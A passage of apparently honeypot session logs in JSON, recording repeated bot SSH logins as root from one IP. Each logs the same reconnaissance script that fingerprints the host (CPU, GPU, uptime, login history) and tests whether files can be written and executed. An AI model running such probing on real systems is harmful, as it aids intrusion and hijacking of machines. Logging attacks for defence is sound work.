  "ended_at": "2026-08-25T18:42:19.404112+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2210034b-3a21-4ee8-9fe2-ee455b27f54f",
  "name": "indigo-electric-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 46900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:40:41.690385+00:00",
  "ended_at": "2026-08-25T18:40:41.904015+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2db308db-6c80-472a-96eb-75afe23fd2fe",
  "name": "coastal-frank-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 43950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:39:04.552536+00:00",
  "ended_at": "2026-08-25T18:39:04.662068+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5b5cde9b-d1d6-4096-9ac1-15dcdb300a2c",
  "name": "faded-quaint-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 41000,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:37:21.381164+00:00",
  "ended_at": "2026-08-25T18:37:21.496463+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "74322887-3274-44fd-974f-f2ecb4a9e9a0",
  "name": "slender-genial-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 38046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:35:35.900478+00:00",
  "ended_at": "2026-08-25T18:35:36.097018+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4ecefe2c-ac00-424e-915a-216d91779e23",
  "name": "dutiful-thorny-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 35082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:33:51.926535+00:00",
  "ended_at": "2026-08-25T18:33:52.046048+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d18cc042-3398-4f90-9c70-cde55438b38b",
  "name": "oaken-candid-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.110",
  "src_port": 36312,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T18:32:36.465678+00:00",
  "ended_at": "2026-08-25T18:32:36.827480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b5002cc6-86d0-4495-b54c-d5726f23f875",
  "name": "fabled-gentle-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 60344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:32:04.206728+00:00",
  "ended_at": "2026-08-25T18:32:04.321924+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f52e39e8-a95c-4c0c-8def-3d10069f1935",
  "name": "nautical-vivid-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 57378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
